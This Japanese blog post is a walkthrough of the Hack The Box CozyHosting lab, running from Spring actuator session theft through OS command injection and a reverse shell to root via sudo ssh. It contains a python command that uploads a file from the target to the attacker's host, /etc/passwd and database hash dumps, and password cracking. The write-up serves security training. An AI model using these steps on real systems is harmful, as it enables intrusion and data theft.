【Hack The Box】CozyHosting【WriteUp】

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は ___Hack The Box___(以下リンク参照) の「___CozyHosting___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# Discovery
## ポートスキャン
今回はRustScanで高速スキャンしてみた。
```bash
┌──(root㉿kali)-[~]
└─# rustscan -a 10.129.117.141 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.117.141:22
Open 10.129.117.141:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-03 07:41 EDT
Initiating Ping Scan at 07:41
Scanning 10.129.117.141 [4 ports]
Completed Ping Scan at 07:41, 0.33s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 07:41
Completed Parallel DNS resolution of 1 host. at 07:41, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 07:41
Scanning 10.129.117.141 [2 ports]
Discovered open port 22/tcp on 10.129.117.141
Discovered open port 80/tcp on 10.129.117.141
Completed SYN Stealth Scan at 07:41, 0.29s elapsed (2 total ports)
Nmap scan report for 10.129.117.141
Host is up, received echo-reply ttl 63 (0.27s latency).
Scanned at 2023-09-03 07:41:04 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
```
ポート22、80が公開されてそう。
実際に80にアクセスしてみると、「cozyhosting.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。

# Collection
## ドメイン環境設定
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。
```bash
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts   
```
以下を投入。
```bash
10.129.117.141    cozyhosting.htb
```
疎通確認を行う。
```bash
┌──(root㉿kali)-[~/work]
└─# ping cozyhosting.htb
PING cozyhosting.htb (10.129.117.141) 56(84) bytes of data.
64 bytes from cozyhosting.htb (10.129.117.141): icmp_seq=1 ttl=63 time=262 ms
64 bytes from cozyhosting.htb (10.129.117.141): icmp_seq=2 ttl=63 time=262 ms
64 bytes from cozyhosting.htb (10.129.117.141): icmp_seq=3 ttl=63 time=258 ms
^C
--- cozyhosting.htb ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 258.100/260.941/262.404/2.009 ms
```
実際にHTTPでアクセスすると以下のページが表示される。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7f55da98-1dbd-1315-8c22-5e3a26ee02bb.png)

## サイト探索
 httpサービスが空いていたのでどうせWebに穴があるんだろうなというメタ読みからサイト探索していきます。
### Subdomain探索
以下サイトからサブドメインのリストをダウンロード

https://github.com/danielmiessler/SecLists

```bash
┌──(root㉿kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://cozyhosting.htb/ -H "HOST: FUZZ.cozyhosting.htb" -mc all -fs 178 -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cozyhosting.htb/
 :: Wordlist         : FUZZ: /root/work/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.cozyhosting.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: all
 :: Filter           : Response size: 178
________________________________________________

:: Progress: [100000/100000] :: Job [1/1] :: 410 req/sec :: Duration: [0:03:03] :: Errors: 0 ::
```
何もなさそう。
### ディレクトリ探索
`dirsearch`を使用して探索を実施。
```bash
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://cozyhosting.htb/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/cozyhosting.htb/-_23-09-03_07-47-00.txt

Error Log: /root/.dirsearch/logs/errors-23-09-03_07-47-00.log

Target: http://cozyhosting.htb/

[07:47:01] Starting: 
[07:47:21] 200 -    0B  - /Citrix//AccessPlatform/auth/clientscripts/cookies.js
[07:47:27] 400 -  435B  - /\..\..\..\..\..\..\..\..\..\etc\passwd           
[07:47:29] 400 -  435B  - /a%5c.aspx                                        
[07:47:30] 200 -  634B  - /actuator                                         
[07:47:30] 200 -    5KB - /actuator/env                                     
[07:47:31] 200 -   15B  - /actuator/health                                  
[07:47:31] 200 -   10KB - /actuator/mappings                                
[07:47:31] 200 -   48B  - /actuator/sessions                                
[07:47:31] 200 -  124KB - /actuator/beans                                   
[07:47:32] 401 -   97B  - /admin                                            
[07:48:04] 200 -    0B  - /engine/classes/swfupload//swfupload.swf          
[07:48:04] 200 -    0B  - /engine/classes/swfupload//swfupload_f9.swf       
[07:48:04] 500 -   73B  - /error                                            
[07:48:04] 200 -    0B  - /examples/jsp/%252e%252e/%252e%252e/manager/html/ 
[07:48:05] 200 -    0B  - /extjs/resources//charts.swf                      
[07:48:09] 200 -    0B  - /html/js/misc/swfupload//swfupload.swf            
[07:48:11] 200 -   12KB - /index                                            
[07:48:16] 200 -    0B  - /login.wdm%2e                                     
[07:48:16] 200 -    4KB - /login                                            
[07:48:17] 204 -    0B  - /logout                                           
[07:48:37] 400 -  435B  - /servlet/%C0%AE%C0%AE%C0%AF 
```
`admin`階層があるが`login`ページへ飛ばされてしまう。ログインが必要なようだ。また、`actuator`が動いているのでこいつを列挙で利用できそうだ。

# Initial Access
## Actuator
`mappings`のページを表示するとJsonでサイトマップを手に入れることができる。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/85a7af74-8d73-b577-8eae-04a081bf9e3a.png)
また`sessions`のページを見ると、現在ログインしているセッションの情報が確認できる。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7910d446-5e0d-0b5e-9ab6-225beec20603.png)
`kanderson`のセッションが確認できるのでこいつをもらう。

## Session Hijacking
先ほど確認できた`kanderson`のセッション情報を開発者ツールのキャッシュに挿入し、adminページを表示してみた。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0c4306d4-f74b-8a06-ec05-888e2ecc111d.png)
`kanderson`のセッションをハイジャックできたようだ。
何やらConnectionするPOST機能があるようなのでここら辺をいじってみる。

## executessh
適当にホストを「tender mirzakhani」、ユーザーを「kanderson」で飛ばしてみた。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ef0704a7-b299-2bb5-e900-b4f8950281dc.png)
ホスト名がダメと言われる。Burpで詳細を確認してみます。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2906e609-2ea4-2b6c-6206-b1e28358e0ef.png)
Actuatorの`mappings`機能で確認できた`executessh`を使ってるみたいだ。
特段このmappingから見えることはないので、適当にこの機能を使ってみる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c1a8e986-2aa7-8c3d-afa3-f05122ca13a8.png)
ホスト名をこのBoxのホスト名にしてみた。そうすると鍵がないとか言われる。
そんなもの列挙では出てこなかったし、感覚的にも出てこないだろうとおもうので一旦保留。
更に色々なDataをPOSTしてみる。
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6ed17b7b-2a93-0b1b-a7d2-0c6efbfa6adc.png)
勘でOS cmd Injectionを試してみた。sleepコマンドである。
Usernameに空白をいれるなと言われる。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f1f25119-7f94-8a7e-c641-d8668a6d84ca.png)
んじゃコロンだけで飛ばしてみる。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ec5682cb-caed-eda3-ac06-feef115eccc7.png)
あー、これ予想通り入力をそのままbashに投げてそうですね。しかも`ssh Username@host`のコマンドを打ってそうなのが見えてくる。
ちょっとこっちに`nc -lnvp 22`立てて待ち受けてみますか。
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c0eeab86-cd83-4f9f-4457-3c9d4c1e3220.png)
あ、ダメみたいだ。何も来ない。
## OS cmd Injection
### Exploit考察
POSTパラメータでOS cmd Injectionを行う方針なのは変わらないが、どのようにしてPayloadを叩きこむかを考える。`host`はError内容からバリデーションされてそう。`username`はある程度差し込む余地がありそうだが、空白がだめといわれるので此奴をBypassさせないといけない。

### Whitespace validation Bypass

https://www.ctfnote.com/web/os-command-injection/whitespace-bypass

良い記事があります。`$IFS`または`$9`を空白の代わりに入れるだけでBypassできます。
一応繋げて`$IFS$9`でどっちも入れておきます。
実際にOS cmd Injectionをやってみましょう。`ping -c 3`で試します。
まず、icmpパケットが到達したか確認するために以下のコマンドを打っておく。
```bash
┌──(root💀kali)-[~/work]
└─# tcpdump -i tun0 icmp
```
よし、Ping打ってみます。
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2c33884f-5b98-50b2-915c-d1b29439283e.png)
とおりました！これでReverse Shellを張れますね！

### Reverse Shell
リバースシェルを叩き込みます。いつもの以下のサイトを利用する。

https://www.revshells.com/

![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f8bf37f8-2647-1ff5-3122-224fe0858823.png)
このコマンドの空白を`$IFS$9`に変換するために以下のようにChefを利用します。

https://gchq.github.io/CyberChef/

![14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/8d7ec264-6fee-f654-9743-ef43bc453fa4.png)
シェルを待ち受けルために以下のコマンドを打っておきます。
```bash
┌──(root💀kali)-[~/work]
└─# nc -lvnp 4444
```
では実行。
![15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ad5e52a1-7f23-341a-d54f-d782472d549a.png)
Reverse Shellをとれました。

### interactive shell
とりあえずリバースシェル確立は出来たので、探索のしやすさのためにインタラクティブシェルを確立しとく。
※このままだとTabでの補完が効かなかったり、矢印キーが効かなかったりするので。
Pythonの`pty`を使ったあと、`Ctrl`+`Z`で接続をバックグラウンドにし、以下のコマンドを実行する。
```bash
┌──(root㉿kali)-[~/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.147] from (UNKNOWN) [10.129.117.141] 46014
id
uid=1001(app) gid=1001(app) groups=1001(app)
python3 -c 'import pty; pty.spawn("bash")'
app@cozyhosting:/app$ 

app@cozyhosting:/app$ ^Z
zsh: suspended  nc -lnvp 4444
                                                                                                                                                            
┌──(root㉿kali)-[~/work]
└─# stty raw -echo; fg
[1]  + continued  nc -lnvp 4444
                               export TERM=xterm
app@cozyhosting:/app$ 
app@cozyhosting:/app$ 
```

# Privilege Escalation - Horizontal
## Transfer
取ったシェルではUserフラグをゲットできないので横展開が必要です。
どのUserにするかを`cat /etc/passwd`で確認しておきます。
```bash
app@cozyhosting:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
```
`josh`にならないといけなさそう。
まぁとりあえずこのアプリケーションの解析から始めます。入った直後の`/app`階層には`cloudhosting-0.0.1.jar`ファイルが置かれているだけだとおもうので、このファイルを転送します。
uploadserverを起動しておきます。
```bash
┌──(root㉿kali)-[~/work]
└─# python3 -m uploadserver    
File upload available at /upload
```
攻略対象サーバーで以下コマンドを投入します。
```bash
python3 -c "import requests;requests.post(\"http://10.10.14.147:8000/upload\",files={\"files\":open(\"/app/cloudhosting-0.0.1.jar\",\"rb\")})"
```
転送できたのを確認できればOK！！
```bash
┌──(root㉿kali)-[~/work]
└─# python3 -m uploadserver    
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.117.141 - - [04/Sep/2023 03:30:49] [Uploaded] "cloudhosting-0.0.1.jar" --> /root/work/cloudhosting-0.0.1.jar
10.129.117.141 - - [04/Sep/2023 03:30:49] "POST /upload HTTP/1.1" 204 -
```
## postgresql
このjarファイルを`jd-gui`で確認します。
※jarファイルは圧縮ファイルなので`unzip`して確認もできます。
![jd-gui.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9b81422e-545e-6005-10ee-7c75f6f9b219.png)
`postgres`のパスワードが確認できるのでこのクレデンシャルを使ってDBへアクセスしていきます。
```bash
app@cozyhosting:/app$ psql -h localhost -U postgres
Password for user postgres: 
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=# 
```
いけました。
では情報列挙していきます。
```bash
postgres=# \l
                                   List of databases
    Name     |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
-------------+----------+----------+-------------+-------------+-----------------------
 cozyhosting | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 postgres    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
             |          |          |             |             | postgres=CTc/postgres
 template1   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
             |          |          |             |             | postgres=CTc/postgres
(4 rows)

postgres=# \c cozyhosting
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=# \dt;

         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)

cozyhosting=# \d users;

                        Table "public.users"
  Column  |          Type          | Collation | Nullable | Default 
----------+------------------------+-----------+----------+---------
 name     | character varying(50)  |           | not null | 
 password | character varying(100) |           | not null | 
 role     | role                   |           |          | 
Indexes:
    "users_pkey" PRIMARY KEY, btree (name)
Referenced by:
    TABLE "hosts" CONSTRAINT "hosts_username_fkey" FOREIGN KEY (username) REFERENCES users(name)

cozyhosting=# select * from users;


   name    |                           password                           | role  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)
```
user情報をゲットできました。kandersonの情報は恐らくセッションハイジャックで利用した情報だとおもうので、adminのほうを復元します。

## john
先ほどのクレデンシャルをJohnさんに食わして解析させます。
```bash
┌──(root㉿kali)-[~/work]
└─# john --wordlist=./rockyou.txt hash 
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)     
1g 0:00:00:27 DONE (2023-09-04 03:54) 0.03696g/s 103.8p/s 103.8c/s 103.8C/s dougie..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```
瞬殺でした。このクレデンシャル情報をjoshのPasswordとして再利用されてないか確認します。
sshを実施してみましょう！
![16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/20a82aab-f690-da61-f49e-bef56596a679.png)
されてましたね。これでユーザフラグゲットデス！

# Privilege Escalation - Vertical
## sudo -l
パスなしで実行できるものを確認します。
```bash
josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *
josh@cozyhosting:~$ 
```
あ、これは簡単な奴だ。
## ssh
gtfobinでExploit法を検索します。

https://gtfobins.github.io/gtfobins/ssh/

あとはこの手順を実施するだけ。
![17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/b6c86600-1dc6-3357-01d1-e904a8157377.png)
Root権限奪取！！！

# まとめ
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/72fd1abd-c330-ea31-bc82-6b01c00b0ac6.png)
これで特権昇格に成功し、Root権限奪取に成功しました。
Userフラグまでが少し難解なEasyくらいかな（Easy詐欺まではいかない）ってのとRootが簡単すぎたなという印象のBoxでした。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。